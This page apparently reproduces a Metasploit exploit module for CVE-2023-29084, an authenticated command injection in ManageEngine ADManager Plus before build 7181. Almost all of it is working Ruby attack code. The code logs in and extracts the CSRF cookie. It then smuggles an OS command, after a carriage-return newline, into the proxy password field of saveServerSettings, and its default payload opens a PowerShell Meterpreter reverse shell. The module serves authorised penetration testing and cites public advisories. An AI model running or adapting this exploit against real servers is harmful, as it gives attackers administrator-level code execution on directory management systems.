ManageEngine ADManager Plus Command Injection

Related Vulnerabilities: CVE-2023-29084   cve-2023-29084  
Publish Date: 06 Jun 2023
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  require 'json'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection',
        'Description' => %q{
          ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient
          validation of user input when performing the ChangePasswordAction function before passing it into a string that is later
          used as an OS command to execute.

          By making a POST request to /api/json/admin/saveServerSettings with a params POST
          parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a
          carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user
          running ADManager Plus, which will typically be the local administrator.

          Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,
          so this vulnerability does require authentication to exploit.

          As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads
          with this exploit, since these will use HTTP connections that will be affected by the change in configuration.
        },
        'Author' => [
          'Simon Humbert', # Disclosure of bug via ZDI
          'Dinh Hoang', # Aka hnd3884. Writeup and PoC
          'Grant Willcox', # Metasploit module
        ],
        'References' => [
          ['CVE', '2023-29084'],
          ['URL', 'https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/'], # Writeup
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], # ZDI Advisory
          ['URL', 'https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html'], # Advisory
          ['URL', 'https://www.manageengine.com/products/ad-manager/release-notes.html'] # Release Notes and Reporter Acknowledgement
        ],
        'DisclosureDate' => '2023-04-12',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Payload' => {
          'BadChars' => "\x22\x0A\x0D\x00[{}]:," # Avoid double quotes, aka 0x22, and some other characters that might cause issues.
        },
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
              'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse bind none' } }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8080
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server.
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'The user to log into ADManager Plus as', 'admin']),
        OptString.new('PASSWORD', [true, 'The password to log in with', 'admin']),
        OptString.new('DOMAIN', [true, 'The domain to log into', 'ADManager Plus Authentication'])
      ]
    )
  end

  def login(username, password, domain)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'j_security_check'),
      'method' => 'POST',
      'vars_get' => {
        'LogoutFromSSO' => 'true'
      },
      'vars_post' => {
        'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request.
        'j_username' => username,
        'j_password' => password,
        'domainName' => domain,
        'AUTHRULE_NAME' => 'ADAuthenticator'
      },
      'keep_cookies' => true
    )

    unless res && (res.code == 302 || res.code == 303)
      fail_with(Failure::NoAccess, 'Could not log in successfully!')
    end

    print_good('Logged in successfully!')
  end

  def check
    res = send_request_cgi(
      'uri' => target_uri.path,
      'method' => 'GET'
    )

    unless res && res.code == 200 && res.body
      return CheckCode::Unknown('Browsing to root of website returned a non-200 or empty response!')
    end

    unless res.body&.match(/\.val\('ADManager Plus Authentication'\)/)
      return CheckCode::Safe('Target is not running ADManager Plus!')
    end

    build_number = res.body&.match(/src=".+\.js\?v=(\d{4})"/)
    unless build_number
      return CheckCode::Unknown('Home page did not leak the build number via the ?v= parameter as expected!')
    end

    build_number = build_number[1]
    print_good("The target is running AdManager Plus build #{build_number}!")

    # Versions 7181 and later are patched, everything prior is vulnerable.
    target_build = Rex::Version.new(build_number)
    if target_build >= Rex::Version.new('7181')
      CheckCode::Safe('Target is running a patched version of AdManager Plus!')
    elsif target_build < Rex::Version.new('7181')
      CheckCode::Appears('Target appears to be running a vulnerable version of AdManager Plus!')
    else
      CheckCode::Unknown("An unknown error occurred when trying to parse the build number: #{build_number}. Please report this error!")
    end
  end

  def exploit
    res = send_request_cgi(
      'uri' => target_uri.path,
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!')
    end

    login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DOMAIN'])

    # We need to do this post login otherwise we will get errors. This also ensures we get updated
    # cookies post login as these can sometimes change post login process.
    res = send_request_cgi(
      'uri' => target_uri.path,
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code post authentication!')
    end

    # Check that we actually got our cookies updated post authentication and visiting the homepage.
    unless res&.get_cookies&.match(/adscsrf=.*?;.*?;.*?_zcsr_tmp=.*?;/)
      fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected updated cookies after logging in and visiting the home page.')
    end

    @csrf_cookie = nil
    for cookie in @cookie_jar&.cookies
      if cookie.name == 'adscsrf'
        @csrf_cookie = cookie.value
        break
      end
    end

    fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank?

    retrieve_original_settings

    begin
      modify_proxy(create_params_value_enable(payload.encoded))
    ensure
      modify_proxy(create_params_value_restore)
    end
  end

  def retrieve_original_settings
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'),
        'method' => 'POST',
        'vars_post' => {
          'adscsrf' => @csrf_cookie
        },
        'keep_cookies' => true
      }
    )

    unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/)
      fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!')
    end

    json_body = JSON.parse(res.body)
    server_details = json_body['serverDetails']
    unless server_details
      fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!')
    end

    server_details.each do |elm|
      next unless elm['tabId'] == 'proxy'

      @original_port = elm['PORT']
      @original_password = elm['PASSWORD']
      @proxy_enabled = elm['ENABLE_PROXY']
      @original_server_name = elm['SERVER_NAME']
      @original_user_name = elm['USER_NAME']
      break
    end
  end

  def modify_proxy(params)
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'),
        'method' => 'POST',
        'vars_post' => {
          'adscsrf' => @csrf_cookie,
          'params' => params
        },
        'keep_cookies' => true
      }
    )

    if res && res.code == 200
      if res.body&.match(/{"isAuthorized":false}/)
        fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!')
      elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/)
        print_warning("Settings successfully changed confirmation received before timeout occurred. Its possible the payload didn't execute!")
      elsif res.body&.match(/"status":"error"/)
        print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}")
      else
        fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!')
      end
    elsif res.nil?
      print_good('Request timed out. Its likely the payload executed successfully!')
    else
      fail_with(Failure::UnexpectedReply, "Target responded with a non-200 OK code to our saveServerSettings request! Code was #{res.code}")
    end
  end

  def create_params_value_enable(cmd)
    [
      {
        tabId: 'proxy',
        ENABLE_PROXY: true,
        SERVER_NAME: 'localhost', # In my experience this worked most reliably.
        USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s,
        PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}",
        PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably.
      }
    ].to_json
  end

  def create_params_value_restore
    [
      {
        tabId: 'proxy',
        ENABLE_PROXY: @proxy_enabled,
        SERVER_NAME: @original_server_name,
        USER_NAME: @original_user_name,
        PASSWORD: @original_password,
        PORT: @original_port
      }
    ].to_json
  end
end
<p>